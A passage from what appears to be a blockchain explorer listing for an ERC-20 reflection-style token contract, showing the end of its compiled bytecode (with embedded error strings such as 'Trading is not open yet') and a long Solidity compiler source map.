00fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b61302a81612bb2565b811461303557600080fd5b50565b61304181612bc4565b811461304c57600080fd5b50565b61305881612bf0565b811461306357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd363802267661a97b17c649a246456699e5e3150c412dae60bb7b2f6099ba2e64736f6c63430008070033
Deployed Bytecode Sourcemap
3612:8224:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4973:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5735:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5214:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5886:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8382:487;;;;;;;;;;;;;:::i;:::-;;5135:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9994:145;;;;;;;;;;;;;:::i;:::-;;8874:151;;;;;;;;;;;;;:::i;:::-;;5305:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3379:133;;;;;;;;;;;;;:::i;:::-;;3195:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5052:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8164:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5439:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5596:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10144:144;;;;;;;;;;;;;:::i;:::-;;4973:74;5010:13;4226:10;;;;;;;;;;;;;;;;;5030:12;;4973:74;:::o;5735:146::-;5810:4;5821:39;5830:12;:10;:12::i;:::-;5844:7;5853:6;5821:8;:39::i;:::-;5872:4;5865:11;;5735:146;;;;:::o;5214:86::-;5267:7;359:1;3964:2;:12;;;;:::i;:::-;243:9;3949:27;;;;:::i;:::-;5281:14;;5214:86;:::o;5886:292::-;5984:4;5995:36;6005:6;6013:9;6024:6;5995:9;:36::i;:::-;6036:121;6045:6;6053:12;:10;:12::i;:::-;6067:89;6105:6;6067:89;;;;;;;;;;;;;;;;;:11;:19;6079:6;6067:19;;;;;;;;;;;;;;;:33;6087:12;:10;:12::i;:::-;6067:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6036:8;:121::i;:::-;6169:4;6162:11;;5886:292;;;;;:::o;8382:487::-;8134:12;:10;:12::i;:::-;8120:26;;:10;;;;;;;;;;;:26;;;8112:36;;;;;;8446:9:::1;;;;;;;;;;;8445:10;8437:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;8487:51;8504:4;8519:8;;;;;;;;;;;359:1;3964:2;:12;;;;:::i;:::-;243:9;3949:27;;;;:::i;:::-;8487:8;:51::i;:::-;8569:8;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8551:48;;;8608:4;8615:8;;;;;;;;;;;:13;;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8551:80;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8543:5;;:88;;;;;;;;;;;;;;;;;;8636:8;;;;;;;;;;;:24;;;8668:21;8699:4;8705:24;8723:4;8705:9;:24::i;:::-;8730:1;8732::::0;8734:7:::1;:5;:7::i;:::-;8742:15;8636:122;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8778:4;8763:12;;:19;;;;;;;;;;;;;;;;;;8799:4;8787:9;;:16;;;;;;;;;;;;;;;;;;8815:5;;;;;;;;;;;8808:21;;;8838:8;;;;;;;;;;;8849:14;8808:56;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8382:487::o:0;5135:74::-;5176:5;359:1;5188:16;;5135:74;:::o;9994:145::-;8134:12;:10;:12::i;:::-;8120:26;;:10;;;;;;;;;;;:26;;;8112:36;;;;;;10046:23:::1;10072:24;10090:4;10072:9;:24::i;:::-;10046:50;;10101:33;10118:15;10101:16;:33::i;:::-;10041:98;9994:145::o:0;8874:151::-;8134:12;:10;:12::i;:::-;8120:26;;:10;;;;;;;;;;;:26;;;8112:36;;;;;;8934:9:::1;;;;;;;;;;;8926:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;8993:5;8978:12;;:20;;;;;;;;;;;;;;;;;;9015:5;9003:9;;:17;;;;;;;;;;;;;;;;;;8874:151::o:0;5305:129::-;5371:7;5392:37;5412:7;:16;5420:7;5412:16;;;;;;;;;;;;;;;;5392:19;:37::i;:::-;5385:44;;5305:129;;;:::o;3379:133::-;3314:12;:10;:12::i;:::-;3304:22;;:6;;;;;;;;;;:22;;;3296:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3480:1:::1;3443:40;;3464:6;::::0;::::1;;;;;;;;3443:40;;;;;;;;;;;;3505:1;3488:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3379:133::o:0;3195:70::-;3233:7;3254:6;;;;;;;;;;;3247:13;;3195:70;:::o;5052:78::-;5091:13;4274:12;;;;;;;;;;;;;;;;;5111:14;;5052:78;:::o;8164:125::-;8134:12;:10;:12::i;:::-;8120:26;;:10;;;;;;;;;;;:26;;;8112:36;;;;;;118:1:::1;8238:10;:22;8230:31;;;::::0;::::1;;8274:10;8266:7;:18;;;;8164:125:::0;:::o;5439:152::-;5517:4;5528:42;5538:12;:10;:12::i;:::-;5552:9;5563:6;5528:9;:42::i;:::-;5582:4;5575:11;;5439:152;;;;:::o;5596:134::-;5677:7;5698:11;:18;5710:5;5698:18;;;;;;;;;;;;;;;:27;5717:7;5698:27;;;;;;;;;;;;;;;;5691:34;;5596:134;;;;:::o;10144:144::-;8134:12;:10;:12::i;:::-;8120:26;;:10;;;;;;;;;;;:26;;;8112:36;;;;;;10196:26:::1;10225:21;10196:50;;10251:32;10264:18;10251:12;:32::i;:::-;10191:97;10144:144::o:0;2571:123::-;2629:7;2650:39;2654:1;2657;2650:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2643:46;;2571:123;;;;:::o;1123:89::-;1176:7;1197:10;1190:17;;1123:89;:::o;6423:308::-;6527:1;6510:19;;:5;:19;;;;6502:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6602:1;6583:21;;:7;:21;;;;6575:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6678:6;6648:11;:18;6660:5;6648:18;;;;;;;;;;;;;;;:27;6667:7;6648:27;;;;;;;;;;;;;;;:36;;;;6710:7;6694:32;;6703:5;6694:32;;;6719:6;6694:32;;;;;;:::i;:::-;;;;;;;;6423:308;;;:::o;6736:957::-;6834:1;6818:18;;:4;:18;;;;6810:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6905:1;6891:16;;:2;:16;;;;6883:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6969:1;6960:6;:10;6952:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;154:42;7087:27;;;7123:4;7087:42;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7037:5;;;;;;;;;;;7031:11;;:2;:11;;;:40;;;;;7062:8;;;;;;;;;;;7046:25;;:4;:25;;;;7031:40;7030:52;;7081:1;7030:52;;;7074:6;7030:52;7029:100;;7021:109;;;;;;7149:7;:5;:7::i;:::-;7141:15;;:4;:15;;;;:32;;;;;7166:7;:5;:7::i;:::-;7160:13;;:2;:13;;;;7141:32;7137:515;;;7193:5;;;;;;;;;;;7185:13;;:4;:13;;;:40;;;;;7216:8;;;;;;;;;;;7202:23;;:2;:23;;;;7185:40;:68;;;;;7231:18;:22;7250:2;7231:22;;;;;;;;;;;;;;;;;;;;;;;;;7229:24;7185:68;7181:146;;;7278:12;;7271:6;:19;7263:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7181:146;7334:28;7365:24;7383:4;7365:9;:24::i;:::-;7334:55;;7400:7;;;;;;;;;;;7399:8;:25;;;;;7419:5;;;;;;;;;;;7411:13;;:4;:13;;;;7399:25;:41;;;;;7428:12;;;;;;;;;;;7399:41;7395:252;;;7449:38;7466:20;7449:16;:38::i;:::-;7494:26;7523:21;7494:50;;394:19;7554:18;:34;7551:90;;;7598:35;7611:21;7598:12;:35::i;:::-;7551:90;7442:205;7395:252;7175:477;7137:515;7658:30;7673:4;7678:2;7681:6;7658:14;:30::i;:::-;6736:957;;;:::o;2188:169::-;2274:7;2301:1;2296;:6;;2304:12;2288:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2322:9;2338:1;2334;:5;;;;:::i;:::-;2322:17;;2351:1;2344:8;;;2188:169;;;;;:::o;7698:378::-;4536:4;4526:7;;:14;;;;;;;;;;;;;;;;;;7770:21:::1;7808:1;7794:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7770:40;;7833:4;7815;7820:1;7815:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;7853:8;;;;;;;;;;;:13;;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7843:4;7848:1;7843:7;;;;;;;;:::i;:::-;;;;;;;:25;;;;;;;;;::::0;::::1;7873:55;7890:4;7905:8;;;;;;;;;;;7916:11;7873:8;:55::i;:::-;7933:8;;;;;;;;;;;:59;;;7998:11;8015:1;8022:4;8040;8051:15;7933:138;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;7765:311;4561:5:::0;4551:7;;:15;;;;;;;;;;;;;;;;;;7698:378;:::o;6185:233::-;6252:7;6285;;6274;:18;;6266:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6344:19;6367:10;:8;:10::i;:::-;6344:33;;6389:24;6401:11;6389:7;:11;;:24;;;;:::i;:::-;6382:31;;;6185:233;;;:::o;8294:83::-;8345:10;;;;;;;;;;;:19;;:27;8365:6;8345:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8294:83;:::o;2699:168::-;2785:7;2811:1;2807;:5;2814:12;2799:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2832:9;2848:1;2844;:5;;;;:::i;:::-;2832:17;;2861:1;2854:8;;;2699:168;;;;;:::o;9032:137::-;9120:44;9138:6;9146:9;9157:6;9120:17;:44::i;:::-;9032:137;;;:::o;11451:148::-;11492:7;11507:15;11524;11543:19;:17;:19::i;:::-;11506:56;;;;11574:20;11586:7;11574;:11;;:20;;;;:::i;:::-;11567:27;;;;11451:148;:::o;9174:448::-;9267:15;9284:23;9309:12;9323:23;9348:12;9362:13;9379:19;9390:7;9379:10;:19::i;:::-;9266:132;;;;;;;;;;;;9421:28;9441:7;9421;:15;9429:6;9421:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;9403:7;:15;9411:6;9403:15;;;;;;;;;;;;;;;:46;;;;9475:39;9498:15;9475:7;:18;9483:9;9475:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;9454:7;:18;9462:9;9454:18;;;;;;;;;;;;;;;:60;;;;9519:16;9529:5;9519:9;:16::i;:::-;9540:23;9552:4;9558;9540:11;:23::i;:::-;9590:9;9573:44;;9582:6;9573:44;;;9601:15;9573:44;;;;;;:::i;:::-;;;;;;;;9261:361;;;;;;9174:448;;;:::o;11604:229::-;11654:7;11663;11677:15;11695:7;;11677:25;;11707:15;359:1;3964:2;:12;;;;:::i;:::-;243:9;3949:27;;;;:::i;:::-;11707:25;;11751:20;359:1;3964:2;:12;;;;:::i;:::-;243:9;3949:27;;;;:::i;:::-;11751:7;;:11;;:20;;;;:::i;:::-;11741:7;:30;11737:61;;;11781:7;;359:1;3964:2;:12;;;;:::i;:::-;243:9;3949:27;;;;:::i;:::-;11773:25;;;;;;;;11737:61;11811:7;11820;11803:25;;;;;;11604:229;;;:::o;10295:441::-;10354:7;10363;10372;10381;10390;10399;10414:23;10439:12;10453:13;10470:39;10482:7;10491:8;;10501:7;;10470:11;:39::i;:::-;10413:96;;;;;;10514:19;10537:10;:8;:10::i;:::-;10514:33;;10553:15;10570:23;10595:12;10611:46;10623:7;10632:4;10638:5;10645:11;10611;:46::i;:::-;10552:105;;;;;;10670:7;10679:15;10696:4;10702:15;10719:4;10725:5;10662:69;;;;;;;;;;;;;;;;;;;10295:441;;;;;;;:::o;2056:127::-;2114:7;2135:43;2139:1;2142;2135:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2128:50;;2056:127;;;;:::o;1893:158::-;1951:7;1965:9;1981:1;1977;:5;;;;:::i;:::-;1965:17;;2000:1;1995;:6;;1987:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2045:1;2038:8;;;1893:158;;;;:::o;9627:191::-;9674:19;9697:10;:8;:10::i;:::-;9674:33;;9712:13;9728:22;9738:11;9728:5;:9;;:22;;;;:::i;:::-;9712:38;;9780:33;9807:5;9780:7;:22;9796:4;9780:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;9755:7;:22;9771:4;9755:22;;;;;;;;;;;;;;;:58;;;;9669:149;;9627:191;:::o;9823:132::-;9895:17;9907:4;9895:7;;:11;;:17;;;;:::i;:::-;9885:7;:27;;;;9930:20;9945:4;9930:10;;:14;;:20;;;;:::i;:::-;9917:10;:33;;;;9823:132;;:::o;10741:324::-;10834:7;10843;10852;10866:12;10881:28;10905:3;10881:19;10893:6;10881:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;10866:43;;10914:13;10930:29;10955:3;10930:20;10942:7;10930;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;10914:45;;10964:23;10990:28;11012:5;10990:17;11002:4;10990:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;10964:54;;11031:15;11048:4;11054:5;11023:37;;;;;;;;;10741:324;;;;;;;:::o;11070:376::-;11180:7;11189;11198;11212:15;11230:24;11242:11;11230:7;:11;;:24;;;;:::i;:::-;11212:42;;11259:12;11274:21;11283:11;11274:4;:8;;:21;;;;:::i;:::-;11259:36;;11300:13;11316:22;11326:11;11316:5;:9;;:22;;;;:::i;:::-;11300:38;;11343:23;11369:28;11391:5;11369:17;11381:4;11369:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;11343:54;;11410:7;11419:15;11436:4;11402:39;;;;;;;;;;11070:376;;;;;;;;:::o;2362:204::-;2420:7;2443:1;2438;:6;2434:32;;;2459:1;2452:8;;;;2434:32;2470:9;2486:1;2482;:5;;;;:::i;:::-;2470:17;;2509:1;2504;2500;:5;;;;:::i;:::-;:10;2492:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2560:1;2553:8;;;2362:204;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;301:137::-;355:5;386:6;380:13;371:22;;402:30;426:5;402:30;:::i;:::-;301:137;;;;:::o;444:139::-;490:5;528:6;515:20;506:29;;544:33;571:5;544:33;:::i;:::-;444:139;;;;:::o;589:143::-;646:5;677:6;671:13;662:22;;693:33;720:5;693:33;:::i;:::-;589:143;;;;:::o;738:329::-;797:6;846:2;834:9;825:7;821:23;817:32;814:119;;;852:79;;:::i;:::-;814:119;972:1;997:53;1042:7;1033:6;1022:9;1018:22;997:53;:::i;:::-;987:63;;943:117;738:329;;;;:::o;1073:351::-;1143:6;1192:2;1180:9;1171:7;1167:23;1163:32;1160:119;;;1198:79;;:::i;:::-;1160:119;1318:1;1343:64;1399:7;1390:6;1379:9;1375:22;1343:64;:::i;:::-;1333:74;;1289:128;1073:351;;;;:::o;1430:474::-;1498:6;1506;1555:2;1543:9;1534:7;1530:23;1526:32;1523:119;;;1561:79;;:::i;:::-;1523:119;1681:1;1706:53;1751:7;1742:6;1731:9;1727:22;1706:53;:::i;:::-;1696:63;;1652:117;1808:2;1834:53;1879:7;1870:6;1859:9;1855:22;1834:53;:::i;:::-;1824:63;;1779:118;1430:474;;;;;:::o;1910:619::-;1987:6;1995;2003;2052:2;2040:9;2031:7;2027:23;2023:32;2020:119;;;2058:79;;:::i;:::-;2020:119;2178:1;2203:53;2248:7;2239:6;2228:9;2224:22;2203:53;:::i;:::-;2193:63;;2149:117;2305:2;2331:53;2376:7;2367:6;2356:9;2352:22;2331:53;:::i;:::-;2321:63;;2276:118;2433:2;2459:53;2504:7;2495:6;2484:9;2480:22;2459:53;:::i;:::-;2449:63;;2404:118;1910:619;;;;;:::o;2535:474::-;2603:6;2611;2660:2;2648:9;2639:7;2635:23;2631:32;2628:119;;;2666:79;;:::i;:::-;2628:119;2786:1;2811:53;2856:7;2847:6;2836:9;2832:22;2811:53;:::i;:::-;2801:63;;2757:117;2913:2;2939:53;2984:7;2975:6;2964:9;2960:22;2939:53;:::i;:::-;2929:63;;2884:118;2535:474;;;;;:::o;3015:345::-;3082:6;3131:2;3119:9;3110:7;3106:23;3102:32;3099:119;;;3137:79;;:::i;:::-;3099:119;3257:1;3282:61;3335:7;3326:6;3315:9;3311:22;3282:61;:::i;:::-;3272:71;;3228:125;3015:345;;;;:::o;3366:329::-;3425:6;3474:2;3462:9;3453:7;3449:23;3445:32;3442:119;;;3480:79;;:::i;:::-;3442:119;3600:1;3625:53;3670:7;3661:6;3650:9;3646:22;3625:53;:::i;:::-;3615:63;;3571:117;3366:329;;;;:::o;3701:351::-;3771:6;3820:2;3808:9;3799:7;3795:23;3791:32;3788:119;;;3826:79;;:::i;:::-;3788:119;3946:1;3971:64;4027:7;4018:6;4007:9;4003:22;3971:64;:::i;:::-;3961:74;;3917:128;3701:351;;;;:::o;4058:663::-;4146:6;4154;4162;4211:2;4199:9;4190:7;4186:23;4182:32;4179:119;;;4217:79;;:::i;:::-;4179:119;4337:1;4362:64;4418:7;4409:6;4398:9;4394:22;4362:64;:::i;:::-;4352:74;;4308:128;4475:2;4501:64;4557:7;4548:6;4537:9;4533:22;4501:64;:::i;:::-;4491:74;;4446:129;4614:2;4640:64;4696:7;4687:6;4676:9;4672:22;4640:64;:::i;:::-;4630:74;;4585:129;4058:663;;;;;:::o;4727:179::-;4796:10;4817:46;4859:3;4851:6;4817:46;:::i;:::-;4895:4;4890:3;4886:14;4872:28;;4727:179;;;;:::o;4912:108::-;4989:24;5007:5;4989:24;:::i;:::-;4984:3;4977:37;4912:108;;:::o;5026:118::-;5113:24;5131:5;5113:24;:::i;:::-;5108:3;5101:37;5026:118;;:::o;5180:732::-;5299:3;5328:54;5376:5;5328:54;:::i;:::-;5398:86;5477:6;5472:3;5398:86;:::i;:::-;5391:93;;5508:56;5558:5;5508:56;:::i;:::-;5587:7;5618:1;5603:284;5628:6;5625:1;5622:13;5603:284;;;5704:6;5698:13;5731:63;5790:3;5775:13;5731:63;:::i;:::-;5724:70;;5817:60;5870:6;5817:60;:::i;:::-;5807:70;;5663:224;5650:1;5647;5643:9;5638:14;;5603:284;;;5607:14;5903:3;5896:10;;5304:608;;;5180:732;;;;:::o;5918:109::-;5999:21;6014:5;5999:21;:::i;:::-;5994:3;5987:34;5918:109;;:::o;6033:147::-;6128:45;6167:5;6128:45;:::i;:::-;6123:3;6116:58;6033:147;;:::o;6186:364::-;6274:3;6302:39;6335:5;6302:39;:::i;:::-;6357:71;6421:6;6416:3;6357:71;:::i;:::-;6350:78;;6437:52;6482:6;6477:3;6470:4;6463:5;6459:16;6437:52;:::i;:::-;6514:29;6536:6;6514:29;:::i;:::-;6509:3;6505:39;6498:46;;6278:272;6186:364;;;;:::o;6556:366::-;6698:3;6719:67;6783:2;6778:3;6719:67;:::i;:::-;6712:74;;6795:93;6884:3;6795:93;:::i;:::-;6913:2;6908:3;6904:12;6897:19;;6556:366;;;:::o;6928:::-;7070:3;7091:67;7155:2;7150:3;7091:67;:::i;:::-;7084:74;;7167:93;7256:3;7167:93;:::i;:::-;7285:2;7280:3;7276:12;7269:19;;6928:366;;;:::o;7300:::-;7442:3;7463:67;7527:2;7522:3;7463:67;:::i;:::-;7456:74;;7539:93;7628:3;7539:93;:::i;:::-;7657:2;7652:3;7648:12;7641:19;;7300:366;;;:::o;7672:::-;7814:3;7835:67;7899:2;7894:3;7835:67;:::i;:::-;7828:74;;7911:93;8000:3;7911:93;:::i;:::-;8029:2;8024:3;8020:12;8013:19;;7672:366;;;:::o;8044:::-;8186:3;8207:67;8271:2;8266:3;8207:67;:::i;:::-;8200:74;;8283:93;8372:3;8283:93;:::i;:::-;8401:2;8396:3;8392:12;8385:19;;8044:366;;;:::o;8416:::-;8558:3;8579:67;8643:2;8638:3;8579:67;:::i;:::-;8572:74;;8655:93;8744:3;8655:93;:::i;:::-;8773:2;8768:3;8764:12;8757:19;;8416:366;;;:::o;8788:::-;8930:3;8951:67;9015:2;9010:3;8951:67;:::i;:::-;8944:74;;9027:93;9116:3;9027:93;:::i;:::-;9145:2;9140:3;9136:12;9129:19;;8788:366;;;:::o;9160:::-;9302:3;9323:67;9387:2;9382:3;9323:67;:::i;:::-;9316:74;;9399:93;9488:3;9399:93;:::i;:::-;9517:2;9512:3;9508:12;9501:19;;9160:366;;;:::o;9532:::-;9674:3;9695:67;9759:2;9754:3;9695:67;:::i;:::-;9688:74;;9771:93;9860:3;9771:93;:::i;:::-;9889:2;9884:3;9880:12;9873:19;;9532:366;;;:::o;9904:::-;10046:3;10067:67;10131:2;10126:3;10067:67;:::i;:::-;10060:74;;10143:93;10232:3;10143:93;:::i;:::-;10261:2;10256:3;10252:12;10245:19;;9904:366;;;:::o;10276:::-;10418:3;10439:67;10503:2;10498:3;10439:67;:::i;:::-;10432:74;;10515:93;10604:3;10515:93;:::i;:::-;10633:2;10628:3;10624:12;10617:19;;10276:366;;;:::o;10648:::-;10790:3;10811:67;10875:2;10870:3;10811:67;:::i;:::-;10804:74;;10887:93;10976:3;10887:93;:::i;:::-;11005:2;11000:3;10996:12;10989:19;;10648:366;;;:::o;11020:118::-;11107:24;11125:5;11107:24;:::i;:::-;11102:3;11095:37;11020:118;;:::o;11144:112::-;11227:22;11243:5;11227:22;:::i;:::-;11222:3;11215:35;11144:112;;:::o;11262:222::-;11355:4;11393:2;11382:9;11378:18;11370:26;;11406:71;11474:1;11463:9;11459:17;11450:6;11406:71;:::i;:::-;11262:222;;;;:::o;11490:332::-;11611:4;11649:2;11638:9;11634:18;11626:26;;11662:71;11730:1;11719:9;11715:17;11706:6;11662:71;:::i;:::-;11743:72;11811:2;11800:9;11796:18;11787:6;11743:72;:::i;:::-;11490:332;;;;;:::o;11828:::-;11949:4;11987:2;11976:9;11972:18;11964:26;;12000:71;12068:1;12057:9;12053:17;12044:6;12000:71;:::i;:::-;12081:72;12149:2;12138:9;12134:18;12125:6;12081:72;:::i;:::-;11828:332;;;;;:::o;12166:807::-;12415:4;12453:3;12442:9;12438:19;12430:27;;12467:71;12535:1;12524:9;12520:17;12511:6;12467:71;:::i;:::-;12548:72;12616:2;12605:9;12601:18;12592:6;12548:72;:::i;:::-;12630:80;12706:2;12695:9;12691:18;12682:6;12630:80;:::i;:::-;12720;12796:2;12785:9;12781:18;12772:6;12720:80;:::i;:::-;12810:73;12878:3;12867:9;12863:19;12854:6;12810:73;:::i;:::-;12893;12961:3;12950:9;12946:19;12937:6;12893:73;:::i;:::-;12166:807;;;;;;;;;:::o;12979:210::-;13066:4;13104:2;13093:9;13089:18;13081:26;;13117:65;13179:1;13168:9;13164:17;13155:6;13117:65;:::i;:::-;12979:210;;;;:::o;13195:313::-;13308:4;13346:2;13335:9;13331:18;13323:26;;13395:9;13389:4;13385:20;13381:1;13370:9;13366:17;13359:47;13423:78;13496:4;13487:6;13423:78;:::i;:::-;13415:86;;13195:313;;;;:::o;13514:419::-;13680:4;13718:2;13707:9;13703:18;13695:26;;13767:9;13761:4;13757:20;13753:1;13742:9;13738:17;13731:47;13795:131;13921:4;13795:131;:::i;:::-;13787:139;;13514:419;;;:::o;13939:::-;14105:4;14143:2;14132:9;14128:18;14120:26;;14192:9;14186:4;14182:20;14178:1;14167:9;14163:17;14156:47;14220:131;14346:4;14220:131;:::i;:::-;14212:139;;13939:419;;;:::o;14364:::-;14530:4;14568:2;14557:9;14553:18;14545:26;;14617:9;14611:4;14607:20;14603:1;14592:9;14588:17;14581:47;14645:131;14771:4;14645:131;:::i;:::-;14637:139;;14364:419;;;:::o;14789:::-;14955:4;14993:2;14982:9;14978:18;14970:26;;15042:9;15036:4;15032:20;15028:1;15017:9;15013:17;15006:47;15070:131;15196:4;15070:131;:::i;:::-;15062:139;;14789:419;;;:::o;15214:::-;15380:4;15418:2;15407:9;15403:18;15395:26;;15467:9;15461:4;15457:20;15453:1;15442:9;15438:17;15431:47;15495:131;15621:4;15495:131;:::i;:::-;15487:139;;15214:419;;;:::o;15639:::-;15805:4;15843:2;15832:9;15828:18;15820:26;;15892:9;15886:4;15882:20;15878:1;15867:9;15863:17;15856:47;15920:131;16046:4;15920:131;:::i;:::-;15912:139;;15639:419;;;:::o;16064:::-;16230:4;16268:2;16257:9;16253:18;16245:26;;16317:9;16311:4;16307:20;16303:1;16292:9;16288:17;16281:47;16345:131;16471:4;16345:131;:::i;:::-;16337:139;;16064:419;;;:::o;16489:::-;16655:4;16693:2;16682:9;16678:18;16670:26;;16742:9;16736:4;16732:20;16728:1;16717:9;16713:17;16706:47;16770:131;16896:4;16770:131;:::i;:::-;16762:139;;16489:419;;;:::o;16914:::-;17080:4;17118:2;17107:9;17103:18;17095:26;;17167:9;17161:4;17157:20;17153:1;17142:9;17138:17;17131:47;17195:131;17321:4;17195:131;:::i;:::-;17187:139;;16914:419;;;:::o;17339:::-;17505:4;17543:2;17532:9;17528:18;17520:26;;17592:9;17586:4;17582:20;17578:1;17567:9;17563:17;17556:47;17620:131;17746:4;17620:131;:::i;:::-;17612:139;;17339:419;;;:::o;17764:::-;17930:4;17968:2;17957:9;17953:18;17945:26;;18017:9;18011:4;18007:20;18003:1;17992:9;17988:17;17981:47;18045:131;18171:4;18045:131;:::i;:::-;18037:139;;17764:419;;;:::o;18189:::-;18355:4;18393:2;18382:9;18378:18;18370:26;;18442:9;18436:4;18432:20;18428:1;18417:9;18413:17;18406:47;18470:131;18596:4;18470:131;:::i;:::-;18462:139;;18189:419;;;:::o;18614:222::-;18707:4;18745:2;18734:9;18730:18;18722:26;;18758:71;18826:1;18815:9;18811:17;18802:6;18758:71;:::i;:::-;18614:222;;;;:::o;18842:831::-;19105:4;19143:3;19132:9;19128:19;19120:27;;19157:71;19225:1;19214:9;19210:17;19201:6;19157:71;:::i;:::-;19238:80;19314:2;19303:9;19299:18;19290:6;19238:80;:::i;:::-;19365:9;19359:4;19355:20;19350:2;19339:9;19335:18;19328:48;19393:108;19496:4;19487:6;19393:108;:::i;:::-;19385:116;;19511:72;19579:2;19568:9;19564:18;19555:6;19511:72;:::i;:::-;19593:73;19661:3;19650:9;19646:19;19637:6;19593:73;:::i;:::-;18842:831;;